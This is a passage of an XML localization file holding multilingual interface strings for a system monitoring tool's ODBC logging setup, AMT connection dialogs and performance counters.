<pt-br>Mensagem</pt-br>
<nl>Bericht</nl>
</msg>
<msg name="MESSAGE.NOTE">
<en>(text field, maximum 250 characters)</en>
<de>(Textfeld, maximal 250 Zeichen)</de>
<es>(campo de texto, máximo 250 caracteres)</es>
<fr>(champ texte, longueur maximale 250 caractères)</fr>
<it>(campo di testo, massimo 250 caratteri)</it>
<ru>(текстовое поле, не более 250 символов)</ru>
<ja>(テキスト フィールド、最大 250 文字)</ja>
<zh>(文本字段,最多 250 个字符)</zh>
<ko>(텍스트 필드, 최대 250자)</ko>
<en-gb>(text field, maximum 250 characters)</en-gb>
<hu>(szövegbeviteli mező, maximum 250 karakter)</hu>
<pt-br>(campo de texto, máximo de 250 caracteres)</pt-br>
<nl>(tekstveld, maximaal 250 tekens)</nl>
</msg>
<msg name="MACHINE">
<en>Computer name</en>
<de>Computername</de>
<es>Nombre del ordenador</es>
<fr>Nom de l'ordinateur</fr>
<it>Nome computer</it>
<ru>Имя компьютера</ru>
<ja>コンピュータ名</ja>
<zh>计算机名称</zh>
<ko>컴퓨터 이름</ko>
<en-gb>Computer name</en-gb>
<hu>Számítógépnév</hu>
<pt-br>Nome do computador</pt-br>
<nl>Computernaam</nl>
</msg>
<msg name="MACHINE.NOTE">
<en>(text field, maximum 16 characters)</en>
<de>(Textfeld, maximal 16 Zeichen)</de>
<es>(campo de texto, máximo 16 caracteres)</es>
<fr>(champ texte, longueur maximale 16 caractères)</fr>
<it>(campo di testo, massimo 16 caratteri)</it>
<ru>(текстовое поле, не более 16 символов)</ru>
<ja>(テキスト フィールド、最大 16 文字)</ja>
<zh>(文本字段,最多 16 个字符)</zh>
<ko>(텍스트 필드, 최대 16자)</ko>
<en-gb>(text field, maximum 16 characters)</en-gb>
<hu>(szövegbeviteli mező, maximum 16 karakter)</hu>
<pt-br>(campo de texto, máximo de 16 caracteres)</pt-br>
<nl>(tekstveld, maximaal 16 tekens)</nl>
</msg>
<msg name="TIMESTAMP">
<en>Time stamp</en>
<de>Zeitstempel</de>
<es>Marca de fecha y hora</es>
<fr>Indicateur de temps</fr>
<it>Indicatore di data e ora</it>
<ru>Штамп времени</ru>
<ja>タイム スタンプ</ja>
<zh>时间戳</zh>
<ko>타임스탬프</ko>
<en-gb>Time stamp</en-gb>
<hu>Időbélyegző</hu>
<pt-br>Carimbo de hora</pt-br>
<nl>Tijdstempel</nl>
</msg>
<msg name="TIMESTAMP.NOTE">
<en>(date and time or text field, maximum 23 characters)</en>
<de>(Feld für Datum und Uhrzeit oder Textfeld, maximal 23 Zeichen)</de>
<es>(fecha y hora o campo de texto, máximo 23 caracteres)</es>
<fr>(champ date, heure ou texte, longueur maximale 23 caractères)</fr>
<it>(campo di data e ora o di testo, massimo 23 caratteri)</it>
<ru>(дата и время или текстовое поле, не более 23 символов)</ru>
<ja>(日時またはテキスト フィールド、最大 23 文字)</ja>
<zh>(日期和时间或文本字段,最多 23 个字符)</zh>
<ko>(날짜 및 시간 또는 텍스트 필드, 최대 23자)</ko>
<en-gb>(date and time or text field, maximum 23 characters)</en-gb>
<hu>(dátum és idő, vagy szövegbeviteli mező, maximum 23 karakter)</hu>
<pt-br>(data e hora ou campo de texto, máximo de 23 caracteres)</pt-br>
<nl>(veld met datum- en tijdnotatie of een tekstveld, maximaal 23 tekens)</nl>
</msg>
<msg name="LEVEL">
<en>Log level</en>
<de>Protokollierungslevel</de>
<es>Nivel de registro</es>
<fr>Niveau de notification</fr>
<it>Livello di registro</it>
<ru>Уровень ведения журнала</ru>
<ja>ログ レベル</ja>
<zh>日志级别</zh>
<ko>로그 수준</ko>
<en-gb>Log level</en-gb>
<hu>Naplózási szint</hu>
<pt-br>Nível do log</pt-br>
<nl>Logboekniveau</nl>
</msg>
<msg name="LEVEL.NOTE">
<en>(text field for the severity of message, maximum 10 characters)</en>
<de>(Textfeld für die Gewichtung der Nachrichten, maximal 10 Zeichen)</de>
<es>(campo de texto para prioridad del mensaje, máximo 10 caracteres)</es>
<fr>(champ texte pour l'importance du message, maximum 10 caractères)</fr>
<it>(campo di testo per la gravità del messaggio, massimo 10 caratteri)</it>
<ru>(текстовое поле для указания степени важности сообщения, не более 10 символов)</ru>
<ja>(メッセージの重要度のためのテキスト フィールド、最大 10 文字)</ja>
<zh>(消息严重度的文本字段,最多 10 个字符)</zh>
<ko>(심각한 메시지에 대한 텍스트 필드, 최대 10자)</ko>
<en-gb>(text field for the severity of message, maximum 10 characters)</en-gb>
<hu>(szövegbeviteli mező az üzenet súlyosságához, maximum 10 karakter)</hu>
<pt-br>(campo de texto para mensagem de gravidade, máximo de 10 caracteres)</pt-br>
<nl>(tekstveld voor de prioriteit van het bericht, maximaal 10 tekens)</nl>
</msg>
<msg name="MODULE">
<en>Module</en>
<de>Modul</de>
<es>Módulo</es>
<fr>Module</fr>
<it>Modulo</it>
<ru>Модуль</ru>
<ja>モジュール</ja>
<zh>模块</zh>
<ko>모듈</ko>
<en-gb>Module</en-gb>
<hu>Modul</hu>
<pt-br>Módulo</pt-br>
<nl>Module</nl>
</msg>
<msg name="MODULE.NOTE">
<en>(text field for the originating module, maximum 20 characters)</en>
<de>(Textfeld für die Herkunft des Moduls, maximal 20 Zeichen)</de>
<es>(campo de texto para el módulo de creación, máximo 20 caracteres)</es>
<fr>(champ texte pour l'origine du module, maximum 20 caractères)</fr>
<it>(campo di testo per il modulo di origine, massimo 20 caratteri)</it>
<ru>(текстовое поле для создаваемого модуля, не более 20 символов)</ru>
<ja>(モジュール作成のためのテキスト フィールド、最大 20 文字)</ja>
<zh>(源模块的文本字段,最多 20 个字符)</zh>
<ko>(원래 모듈에 대한 텍스트 필드, 최대 20자)</ko>
<en-gb>(text field for the originating module, maximum 20 characters)</en-gb>
<hu>(szövegbeviteli mező a kezdeményező modulhoz, maximum 20 karakter)</hu>
<pt-br>(campo de texto para módulo original, máximo de 20 caracteres)</pt-br>
<nl>(tekstveld voor de bronmodule, maximaal 20 tekens)</nl>
</msg>
<msg name="FACILITY">
<en>Facility</en>
<de>Service</de>
<es>Facilidad</es>
<fr>Service</fr>
<it>Servizio</it>
<ru>Оборудование</ru>
<ja>機能</ja>
<zh>设备</zh>
<ko>기능</ko>
<en-gb>Facility</en-gb>
<hu>Szolgáltatás</hu>
<pt-br>Recurso</pt-br>
<nl>Faciliteit</nl>
</msg>
<msg name="FACILITY.NOTE">
<en>(text field for the originating facility, maximum 20 characters)</en>
<de>(Textfeld für die Herkunft des Service, maximal 20 Zeichen)</de>
<es>(campo de texto para creación de la facilidad, máximo 20 caracteres)</es>
<fr>(champ texte pour l'origine du service, maximum 20 caractères)</fr>
<it>(campo di testo per il servizio di origine, massimo 20 caratteri)</it>
<ru>(текстовое поле для устанавливаемого оборудования, не более 20 символов)</ru>
<ja>(機能作成のためのテキスト フィールド、最大 20 文字)</ja>
<zh>(源设备的文本字段,最多 20 个字符)</zh>
<ko>(원래 기능에 대한 텍스트 필드, 최대 20자)</ko>
<en-gb>(text field for the originating facility, maximum 20 characters)</en-gb>
<hu>(szövegbeviteli mező a kezdeményező szolgáltatáshoz, maximum 20 karakter)</hu>
<pt-br>(campo de texto para recurso original, máximo de 20 caracteres)</pt-br>
<nl>(tekstveld voor de bronfaciliteit, maximaal 20 tekens)</nl>
</msg>
<msg name="CLIENT">
<en>Client</en>
<de>Client</de>
<es>Cliente</es>
<fr>Client</fr>
<it>Client</it>
<ru>Клиент</ru>
<ja>クライアント</ja>
<zh>客户端</zh>
<ko>클라이언트</ko>
<en-gb>Client</en-gb>
<hu>Kliens</hu>
<pt-br>Cliente</pt-br>
<nl>Client</nl>
</msg>
<msg name="CLIENT.NOTE">
<en>(text field for the address/name of the client, maximum 100 characters)</en>
<de>(Textfeld für den Namen/Adresse des Client, maximal 100 Zeichen)</de>
<es>(campo de texto para nombre/dirección del cliente, máximo 100 caracteres)</es>
<fr>(champ texte pour le nom/adresse du client, maximum 100 caractères)</fr>
<it>(campo di testo per l'indirizzo/nome del client, massimo 100 caratteri)</it>
<ru>(текстовое поле для адреса или имени клиента, не более 100 символов)</ru>
<ja>(クライアントのアドレスと名前を入力するためのテキスト フィールド、最大 100 文字)</ja>
<zh>(客户端地址/名称的文本字段,最多 100 个字符)</zh>
<ko>(클라이언트의 주소/이름에 대한 텍스트 필드, 최대 100자)</ko>
<en-gb>(text field for the address/name of the client, maximum 100 characters)</en-gb>
<hu>(szövegbeviteli mező a kliens címéhez/nevéhez, maximum 100 karakter)</hu>
<pt-br>(campo de texto para o endereço/nome do cliente, máximo de 100 caracteres)</pt-br>
<nl>(tekstveld voor het adres of de naam van de client, maximaal 100 tekens)</nl>
</msg>
<msg name="CONNERR">
<en>Failed to connect to data source:</en>
<de>Verbindung zur Datenquelle fehlgeschlagen:</de>
<es>Error al conectar con la fuente de datos:</es>
<fr>Echec de connexion à la source de données:</fr>
<it>Connessione all'origine dati non riuscita:</it>
<ru>Не удалось подключиться к источнику данных:</ru>
<ja>データ ソースとの接続に失敗 :</ja>
<zh>连接至数据源失败:</zh>
<ko>데이터 원본에 연결하지 못했습니다:</ko>
<en-gb>Failed to connect to data source:</en-gb>
<hu>Nem sikerült csatlakozni az adatforráshoz:</hu>
<pt-br>Falha ao conectar a fonte de dados:</pt-br>
<nl>Kan geen verbinding maken met de gegevensbron:</nl>
</msg>
<msg name="WRITEERR">
<en>Failed to write message to data source:</en>
<de>Übergabe der Meldung an die Datenquelle fehlgeschlagen:</de>
<es>Error al escribir mensaje para la fuente de datos:</es>
<fr>Echec d'écriture de message dans la source de données:</fr>
<it>Scrittura del messaggio nell'origine dati non riuscita:</it>
<ru>Не удалось записать общение в источник данных:</ru>
<ja>データ ソースへのメッセージの書き込みに失敗 :</ja>
<zh>将消息写入数据源失败:</zh>
<ko>데이터 원본에 메시지를 쓰지 못했습니다:</ko>
<en-gb>Failed to write message to data source:</en-gb>
<hu>Nem sikerült üzenetet írni az adatforrásba:</hu>
<pt-br>Falha ao gravar mensagem na fonte de dados:</pt-br>
<nl>Kan geen bericht schrijven naar de gegevensbron:</nl>
</msg>
<msg name="UPDATED">
<en>Updated.</en>
<de>Aktualisiert.</de>
<es>Actualizado.</es>
<fr>Actualisé.</fr>
<it>Aggiornato.</it>
<ru>Обновлен.</ru>
<ja>更新されました。</ja>
<zh>已更新。</zh>
<ko>업데이트됨.</ko>
<en-gb>Updated.</en-gb>
<hu>Frissítve.</hu>
<pt-br>Atualizado.</pt-br>
<nl>Bijgewerkt.</nl>
</msg>
<msg name="TEST">
<en>Write test message</en>
<de>Testmeldung  schreiben</de>
<es>Escribir mensaje de prueba</es>
<fr>Ecriture d'un message de test</fr>
<it>Scrivi messaggio di prova</it>
<ru>Написать тестовое сообщение</ru>
<ja>テスト メッセージの書き込み</ja>
<zh>写入测试消息</zh>
<ko>테스트 메시지 쓰기</ko>
<en-gb>Write test message</en-gb>
<hu>Tesztüzenet írása</hu>
<pt-br>Gravar mensagem de texto</pt-br>
<nl>Testbericht schrijven</nl>
</msg>
<msg name="TESTMSG">
<en>This is a test message.</en>
<de>Das ist eine Testmeldung.</de>
<es>Éste es un mensaje de prueba.</es>
<fr>Ceci est un message de test.</fr>
<it>Questo è un messaggio di prova.</it>
<ru>Это тестовое сообщение.</ru>
<ja>これは、テスト メッセージです。</ja>
<zh>此为测试消息。</zh>
<ko>이것은 테스트 메시지입니다.</ko>
<en-gb>This is a test message.</en-gb>
<hu>Ez egy tesztüzenet.</hu>
<pt-br>Esta é uma mensagem de texto.</pt-br>
<nl>Dit is een testbericht.</nl>
</msg>
<msg name="TESTWRITTEN">
<en>Test message has been written successfully.</en>
<de>Testmeldung wurde erfolgreich geschrieben.</de>
<es>El mensaje de prueba se ha escrito correctamente.</es>
<fr>Le message de test a été écrit avec succès.</fr>
<it>Il messaggio di prova è stato scritto correttamente.</it>
<ru>Тестовое сообщение записано успешно.</ru>
<ja>テスト メッセージの書き込みに成功しました。</ja>
<zh>已成功写入测试消息。</zh>
<ko>테스트 메시지를 썼습니다.</ko>
<en-gb>Test message has been written successfully.</en-gb>
<hu>A tesztüzenet írása sikeres volt.</hu>
<pt-br>A mensagem de texto foi gravada com êxito.</pt-br>
<nl>Het testbericht is naar de gegevensbron geschreven.</nl>
</msg>
<msg name="DETAIL">
<en>This page can be used to configure an ODBC data source that is used to
store log messages and monitoring alerts. A machine datasource must already
be set up, and should contain a table with at least three fields. Specify
the name of the datasource, an optional username and password, and the name
of the table that will be used to hold the data. Then enter the names of
the fields that will hold the timestamp, the computer name (max. 16 characters),
the message itself (max. 250 characters) and other parameters.</en>
<de>Diese Seite kann verwendet werden, um eine ODBC Datenquelle zu konfigurieren,
die protokollierte Ereignisse und überwachte Meldungen speichert. Eine
Computerdatenquelle muss bereits eingerichtet sein und sollte eine Tabelle
mit wenigstens drei Spalten enthalten. Geben Sie den Namen der Datenquelle
und optional einen Benutzername und ein Kennwort an; weiterhin auch den
Namen der Tabelle, welche die Daten speichern soll. Geben Sie anschließend
die Namen der Spalten an, die den Zeitstempel, den Computernamen (max. 16
Zeichen), die Nachricht selbst (max. 250 Zeichen) und andere Parameter
speichern sollen.</de>
<es>Esta página puede utilizarse para configurar una fuente de datos ODBC utilizada para
almacenar mensajes de registro y controlar los avisos. Se ha debido establecer un ordenador como fuente de datos
y debe contener una tabla con, al menos, tres campos. Especifique
el nombre de la fuente de datos, un nombre de usuario y una contraseña opcionales y el nombre
de la tabla que se utilizará para recopilar la información. Después, introduzca el nombre de
los campos que contendrán las marcas de fecha y hora, el nombre del ordenador (máx. 16 caracteres),
el mensaje en sí (máx. 250 caracteres) y otros parámetros.</es>
<fr>Cette page peut être utilisée pour configurer la source de données ODBC, laquelle stockera
des messages de notifications et des alertes de surveillance. La source de données doit être
préalablement installée sur l'ordinateur, et devrait contenir une table avec au moins trois champs.
Indiquez le nom de la source de données, un nom utilisateur (facultatif), un mot de passe (facultatif), et le nom
de la table qui va contenir les données. Ecrivez ensuite le noms des champs qui doivent être enregistrés,
l'horodateur, le nom de l'ordinateur (maximum 16 caractères), le message lui-même (maximum 250 caractères)
et d'autres paramètres.</fr>
<it>Questa pagina consente di configurare un'origine dati ODBC utilizzata per memorizzare messaggi del registro e avvisi di monitoraggio. È necessario che sia già impostata un'origine dati computer contenente una tabella con almeno tre campi. Specificare il nome dell'origine dati, un nome utente e una password opzionali e il nome della tabella che conterrà i dati. Quindi, immettere i nomi dei campi che conterranno l'indicatore di data e ora, il nome del computer (massimo 16 caratteri), il messaggio (massimo 250 caratteri) e altri parametri.</it>
<ru>С помощью этой страницы можно настроить источник данных ODBC, который используется для хранения сообщений журналов и оповещений, связанных с мониторингом. Источник данных уже должен быть установлен и должен содержать таблицу с тремя или более полями. Укажите имя источника данных, необязательное имя пользователя и пароль, а также имя таблицы, в которой будут содержаться данные. Затем введите названия полей, в которых будет содержаться штамп времени, имя компьютера (не более 16 символов), само сообщение (не более 250 символов) и другие параметры.</ru>
<ja>このページを使用して、ログ メッセージおよびモニタリング アラートの保存に使用される ODBC データ ソースを設定できます。最低 3 フィールドを含むテーブルが含まれているマシン データ ソースが既に設定されている必要があります。データ ソースの名前、選択可能なユーザ名とパスワード、データの格納に使用されるテーブルの名前を指定してください。次に、タイムスタンプを格納するフィールドの名前、コンピュータ名 (最大 16 文字)、メッセージ本文 (最大 250 文字)、その他のパラメータを入力してください。</ja>
<zh>此页面可配置用于存储日志消息和监视警报的 ODBC 数据源。必须已设置计算机数据源,并且应包含一个至少具有三个字段的表。指定数据源的名称、可选的用户名和密码以及将用于包含数据的表名称。然后输入将包含时间戳、计算机名称(最多 16 个字符)、消息本身(最多 250 个字符)和其他参数的字段名称。</zh>
<ko>이 페이지를 사용하여 로그 메시지 및 모니터링 경고 저장에 사용하는 ODBC 데이터 원본을 구성할 수 있습니다. 컴퓨터 데이터 원본은 이미 설정되어 있어야 하며 세 개 이상의 필드가 있는 테이블을 포함해야 합니다. 데이터 원본 이름, 사용자 이름 및 암호(선택 사항), 데이터를 보관할 테이블 이름을 지정합니다. 그런 다음 시간 스탬프를 보관할 필드 이름, 컴퓨터 이름(최대 16자), 메시지(최대 250자) 및 다른 매개 변수를 입력합니다.</ko>
<en-gb>This page can be used to configure an ODBC data source that is used to store log messages and monitoring alerts. A machine datasource must already be set up and should contain a table with at least three fields. Specify the name of the datasource, an optional username and password and the name of the table that will be used to hold the data. Then enter the names of the fields that will hold the timestamp, the computer name (max. 16 characters), the message itself (max. 250 characters) and other parameters.</en-gb>
<hu>Ezt az oldalt a naplózási üzeneteket és figyelési riasztásokat tároló
ODBC adatforrás konfigurálására lehet használni. Egy gépi adatforrás már be kell legyen
állítva, és tartalmaznia kell egy táblát, legalább három mezővel. Adja meg
az adatforrás nevét, egy opcionális felhasználói nevet és jelszót, valamint annak
a táblának a nevét, amelyet az adatok tárolására fog használni. Ezután írja be azoknak a mezőknek
a nevét, amelyek az időbélyegzőt, a számítógép nevét (maximum 16 karakter), és
magát az üzenetet (maximum 250 karakter) valamint más paramétereket fogják tárolni.</hu>
<pt-br>Esta página pode ser usada para configurar uma fonte de dados ODBC usada para
armazenar mensagens de log e alertas de monitoramento. Uma fonte de dados da máquina já deve estar
configurada e deve conter uma tabela com pelo menos três campos. Especifique
o nome da fonte de dados, um nome de usuário e uma senha opcionais e o nome
da tabela que será usada para manter os dados. Em seguida, digite os nomes dos
campos que terão o carimbo de data e hora, o nome do computador (máx. de 16 caracteres)
e a própria mensagem (máx. de 250 caracteres) e outros parâmetros.</pt-br>
<nl>U kunt op deze pagina een ODBC-gegevensbron configureren die moet worden gebruikt voor het opslaan van de logboekberichten en de controlewaarschuwingen. U moet een gegevensbron op de computer hebben geconfigureerd en deze moet een tabel met minstens drie velden bevatten. Geef de naam van de gegevensbron op, en optioneel een gebruikersnaam en een wachtwoord, en de naam van de tabel waarin de gegevens moeten worden opgeslagen. Voer vervolgens de namen in van de velden waarin de tijdstempel, de computernaam (max. 16 tekens), de tekst van het bericht (max. 250 tekens) en andere parameters moeten worden opgeslagen.</nl>
</msg>
</cat>
<cat name="AMTCFG">
<msg name="TITLE">
<en>AMT Connection</en>
<es>Conexión de AMT</es>
<de>AMT-Verbindung</de>
<fr>Connexion AMT</fr>
<it>Connessione AMT</it>
<ru>Подключение AMT</ru>
<ja>AMT 接続</ja>
<zh>AMT 连接</zh>
<ko>AMT 연결</ko>
<en-gb>AMT Connection</en-gb>
<hu>AMT-kapcsolat</hu>
<pt-br>Conexão AMT</pt-br>
<nl>AMT-verbinding</nl>
</msg>
<msg name="LEGEND">
<en>AMT Connection Options</en>
<es>Opciones de conexión de AMT</es>
<de>AMT-Verbindungsoptionen</de>
<fr>Options de connexion AMT</fr>
<it>Opzioni di connessione AMT</it>
<ru>Параметры подключения AMT</ru>
<ja>AMT 接続オプション</ja>
<zh>AMT 连接选项</zh>
<ko>AMT 연결 옵션</ko>
<en-gb>AMT Connection Options</en-gb>
<hu>AMT-kapcsolat beállításai</hu>
<pt-br>Opções de conexão AMT</pt-br>
<nl>AMT-verbindingsopties</nl>
</msg>
<msg name="CONNECT.TXT">
<en>To initiate AMT to connect, enter a passcode and click the Connect button:</en>
<es>Para iniciar AMT a fin de conectarse, escriba una contraseña y haga clic en el botón Conectar:</es>
<de>Passcode für AMT-Verbindungsaufbau eingeben und auf „Verbindung herstellen“ klicken:</de>
<fr>Pour initier la connexion AMT, entrez un mot de passe et cliquez sur le bouton Connexion :</fr>
<it>Per stabilire la connessione AMT, immettere un passcode e fare clic sul pulsante Connetti:</it>
<ru>Для инициации подключения AMT введите пароль и нажмите кнопку «Подключить»:</ru>
<ja>AMT 接続を確立するには、パスコードを入力し、[接続] ボタンをクリックします:</ja>
<zh>要建立 AMT 连接,请输入密码并单击“连接”按钮:</zh>
<ko>AMT를 연결하려면, 패스코드를 입력하고 연결 버튼을 클릭하십시오.</ko>
<en-gb>To initiate AMT to connect, enter a passcode and click the Connect button:</en-gb>
<hu>Az AMT kapcsolódásának kezdeményezéséhez írjon be egy jelszót, majd kattintson a Csatlakozás gombra:</hu>
<pt-br>Para iniciar o AMT para conexão, forneça uma senha e clique no botão Conectar:</pt-br>
<nl>Om een AMT-verbinding tot stand te brengen, voert u de toegangscode in en klikt u op de knop Verbinden:</nl>
</msg>
<msg name="CONNECT">
<en>Connect</en>
<es>Conectar</es>
<de>Verbindung herstellen</de>
<fr>Connexion</fr>
<it>Connetti</it>
<ru>Подключить</ru>
<ja>接続</ja>
<zh>连接</zh>
<ko>연결</ko>
<en-gb>Connect</en-gb>
<hu>Csatlakozás</hu>
<pt-br>Conectar</pt-br>
<nl>Verbinding maken</nl>
</msg>
<msg name="DISCONNECT.TXT">
<en>To disconnect from an AMT session, enter the session passcode and click the Disconnect button:</en>
<es>Para desconectarse de una sesión de AMT, escriba la contraseña de la sesión y haga clic en el botón Desconectar:</es>
<de>Zum Beenden einer AMT-Sitzung Passcode der Sitzung eingeben und auf „Verbindung trennen“ klicken:</de>
<fr>Pour vous déconnecter d'une session AMT, entrez le mot de passe de session et cliquez sur Déconnexion :</fr>
<it>Per disconnettersi da una sessione AMT, immettere il passcode di sessione e fare clic sul pulsante Disconnetti:</it>
<ru>Для отключения сеанса AMT введите пароль сеанса и нажмите кнопку «Отключить»:</ru>
<ja>AMT セッションを切断するには、セッション パスコードを入力し、[切断] ボタンをクリックします:</ja>
<zh>要与 AMT 会话断开连接,请输入会话密码并单击“断开连接”按钮:</zh>
<ko>AMT 세션을 연결 해제하려면, 세션 패스코드를 입력하고 연결 해제 버튼을 클릭하십시오.</ko>
<en-gb>To disconnect from an AMT session, enter the session passcode and click the Disconnect button:</en-gb>
<hu>Az AMT-munkamenetről való lekapcsolódáshoz írja be a munkamenet jelszavát, majd kattintson a Kapcsolat bontása gombra:</hu>
<pt-br>Para desconectar-se de uma sessão AMT, forneça a senha da sessão e clique no botão Desconectar:</pt-br>
<nl>Om de verbinding met een AMT-sessie te verbreken, voert u de toegangscode in en klikt u op de knop Verbinding verbreken:</nl>
</msg>
<msg name="DISCONNECT">
<en>Disconnect</en>
<de>Schließen</de>
<es>Desconectar</es>
<fr>Refouler</fr>
<it>Disconnetti</it>
<ru>Отключить</ru>
<ja>切断</ja>
<zh>断开连接</zh>
<ko>연결 해제</ko>
<en-gb>Disconnect</en-gb>
<hu>Kapcsolat megszakítása</hu>
<pt-br>Desconectar</pt-br>
<nl>Verbinding verbreken</nl>
</msg>
<msg name="CONNECT.SUCCESS">
<en>Connection successful.</en>
<es>Conexión correcta.</es>
<de>Verbindung erfolgreich hergestellt.</de>
<fr>Connexion réussie.</fr>
<it>Connessione riuscita.</it>
<ru>Подключение установлено.</ru>
<ja>接続に成功しました。</ja>
<zh>连接成功。</zh>
<ko>연결했습니다.</ko>
<en-gb>Connection successful.</en-gb>
<hu>Sikeres csatlakozás.</hu>
<pt-br>Conexão bem-sucedida.</pt-br>
<nl>Verbinding maken is gelukt.</nl>
</msg>
<msg name="CONNECT.ERROR">
<en>An error occured while attempting to connect:</en>
<es>Se ha producido un error durante el intento de conexión:</es>
<de>Beim Verbindungsaufbau ist ein Fehler aufgetreten:</de>
<fr>Une erreur est survenue à la connexion :</fr>
<it>Errore durante il tentativo di connessione:</it>
<ru>При попытке подключения произошла ошибка:</ru>
<ja>接続中にエラーが発生しました:</ja>
<zh>试图连接时出现错误:</zh>
<ko>연결을 시도하는 동안 오류가 발생했습니다.</ko>
<en-gb>An error occured while attempting to connect:</en-gb>
<hu>Hiba történt a következő kapcsolatfelvételi kísérletnél:</hu>
<pt-br>Ocorreu um erro ao tentar se conectar:</pt-br>
<nl>Tijdens de poging om verbinding te maken is een fout opgetreden:</nl>
</msg>
<msg name="DISCONNECT.SUCCESS">
<en>Session disconnected successfully.</en>
<es>Sesión desconectada correctamente.</es>
<de>Sitzung erfolgreich beendet.</de>
<fr>Déconnexion de la session réussie.</fr>
<it>Disconnessione della sessione riuscita.</it>
<ru>Сеанс отключен.</ru>
<ja>セッションが正常に切断されました。</ja>
<zh>会话已成功断开连接。</zh>
<ko>세션이 연결 해제되었습니다.</ko>
<en-gb>Session disconnected successfully.</en-gb>
<hu>Munkamenet sikeresen megszakítva.</hu>
<pt-br>A sessão foi desconectada com êxito.</pt-br>
<nl>Verbinding met de sessie is verbroken.</nl>
</msg>
<msg name="DISCONNECT.ERROR">
<en>An error occured while attempting to disconnect:</en>
<es>Se ha producido un error durante el intento de desconexión:</es>
<de>Beim Trennen der Verbindung ist ein Fehler aufgetreten:</de>
<fr>Une erreur est survenue à la déconnexion :</fr>
<it>Errore durante il tentativo di disconnessione:</it>
<ru>При попытке отключения произошла ошибка:</ru>
<ja>切断中にエラーが発生しました:</ja>
<zh>试图断开连接时出现错误:</zh>
<ko>연결 해제하는 동안 오류가 발생했습니다.</ko>
<en-gb>An error occured while attempting to disconnect:</en-gb>
<hu>Hiba történt a következő kapcsolatbontási kísérletnél:</hu>
<pt-br>Ocorreu um erro ao tentar se desconectar:</pt-br>
<nl>Tijdens de poging om de verbinding te verbreken is een fout opgetreden:</nl>
</msg>
</cat>
</cat>
<cat name="PERF">
<msg name="TITLE">
<en>Performance Info</en>
<es>Información de rendimiento</es>
<fr>Surveillance Performances</fr>
<de>Leistungsinformationen</de>
<it>Informazioni sulle prestazioni</it>
<ru>Инф. о производительности</ru>
<ja>パフォーマンス情報</ja>
<zh>性能信息</zh>
<ko>성능 정보</ko>
<en-gb>Performance Info</en-gb>
<hu>Teljesítmény-információ</hu>
<pt-br>Info. sobre desempenho</pt-br>
<nl>Prestatie informatie</nl>
</msg>
<cat name="MBOARD">
<msg name="TITLE">
<en>Motherboard Status</en>
<de>Motherboardstatus</de>
<es>Estado de la placa base</es>
<fr>Statut de la Carte mère</fr>
<it>Stato della scheda madre</it>
<ru>Состояние материнской платы</ru>
<ja>マザーボードのステータス</ja>
<zh>母板状态</zh>
<ko>마더보드 상태</ko>
<en-gb>Motherboard Status</en-gb>
<hu>Alaplap állapota</hu>
<pt-br>Status da placa mãe</pt-br>
<nl>Status van moederbord</nl>
</msg>
</cat>
<cat name="TYPE">
<msg name="CPU">
<en>CPU Load</en>
<de>CPU-Last</de>
<es>Carga CPU</es>
<fr>Charge CPU</fr>
<it>Carico della CPU</it>
<ru>Загрузка ЦП</ru>
<ja>CPU 負荷</ja>
<zh>CPU 负载</zh>
<ko>CPU 로드</ko>
<en-gb>CPU Load</en-gb>
<hu>Processzor terhelése</hu>
<pt-br>Carga da CPU</pt-br>
<nl>CPU-gebruik</nl>
</msg>
<msg name="MEM">
<en>Memory Load</en>
<de>Hauptspeicherlast</de>
<es>Carga memoria</es>
<fr>Charge Mémoire</fr>
<it>Carico della memoria</it>
<ru>Загрузка памяти</ru>
<ja>メモリ負荷</ja>
<zh>内存负载</zh>
<ko>메모리 로드</ko>
<en-gb>Memory Load</en-gb>
<hu>Memória terhelése</hu>
<pt-br>Carga da memória</pt-br>
<nl>Geheugengebruik</nl>
</msg>
<msg name="MEMP">
<en>Physical Memory Load</en>
<de>Auslastung des physischen Speichers</de>
<es>Carga memoria física</es>
<fr>Charger Mémoire Pysique</fr>
<it>Carico della memoria fisica</it>
<ru>Загрузка физической памяти</ru>
<ja>物理メモリ負荷</ja>
<zh>物理内存负载</zh>
<ko>실제 메모리 로드</ko>
<en-gb>Physical Memory Load</en-gb>
<hu>Fizikai memória terhelése</hu>
<pt-br>Carga da memória física</pt-br>
<nl>Gebruik van fysiek geheugen</nl>
</msg>
<msg name="MEMC">
<en>Commit Memory Load</en>
<de>Auslastung des zugesicherten Speichers</de>
<es>Carga memoria utilizada</es>
<fr>Charge Mémoire Dédiée</fr>
<it>Carico della memoria allocata</it>
<ru>Загрузка выделенной памяти</ru>
<ja>メモリ負荷を確定</ja>
<zh>可供内存负载</zh>
<ko>커밋 메모리 로드</ko>
<en-gb>Commit Memory Load</en-gb>
<hu>Előjegyzett memória terhelése</hu>
<pt-br>Confirmar carga da memória</pt-br>
<nl>Gebruik van toegewezen geheugen</nl>
</msg>
<msg name="DRV">
<en>Disk Space</en>
<de>Laufwerkskapazität</de>
<es>Espacio en disco</es>
<fr>Espace Disque</fr>
<it>Spazio su disco</it>
<ru>Дисковое пространство</ru>
<ja>ディスク容量</ja>
<zh>磁盘空间</zh>
<ko>디스크 공간</ko>
<en-gb>Disk Space</en-gb>
<hu>Lemezterület</hu>
<pt-br>Espaço no disco</pt-br>
<nl>Schijfruimte</nl>
</msg>
<msg name="NET">
<en>Network Traffic</en>
<de>Netzwerkdatenverkehr</de>
<es>Tráfico de la red</es>
<fr>Traffic Réseau</fr>
<it>Traffico di rete</it>
<ru>Сетевой трафик</ru>
<ja>ネットワーク トラフィック</ja>
<zh>网络流量</zh>
<ko>네트워크 트래픽</ko>
<en-gb>Network Traffic</en-gb>
<hu>Hálózati forgalom</hu>
<pt-br>Network Traffic (Tráfego de rede)</pt-br>
<nl>Netwerkverkeer</nl>
</msg>
<msg name="NETI">
<en>Inbound Network Traffic</en>
<de>Eingehender Netzwerkdatenverkehr</de>
<es>Tráfico de red entrante</es>
<fr>Traffic Réseau Entrant</fr>
<it>Traffico di rete in entrata</it>
<ru>Входящий сетевой трафик</ru>
<ja>着信ネットワーク トラフィック</ja>
<zh>入站网络流量</zh>
<ko>인바운드 네트워크 트래픽</ko>
<en-gb>Inbound Network Traffic</en-gb>
<hu>Bejövő hálózati forgalom</hu>
<pt-br>Tráfego da rede de entrada</pt-br>
<nl>Binnenkomend netwerkverkeer</nl>
</msg>
<msg name="NETO">
<en>Outbound Network Traffic</en>
<de>Ausgehender Netzwerkdatenverkehr</de>
<es>Tráfico de red saliente</es>
<fr>Traffic Réseau Sortant</fr>
<it>Traffico di rete in uscita</it>
<ru>Исходящий сетевой трафик</ru>
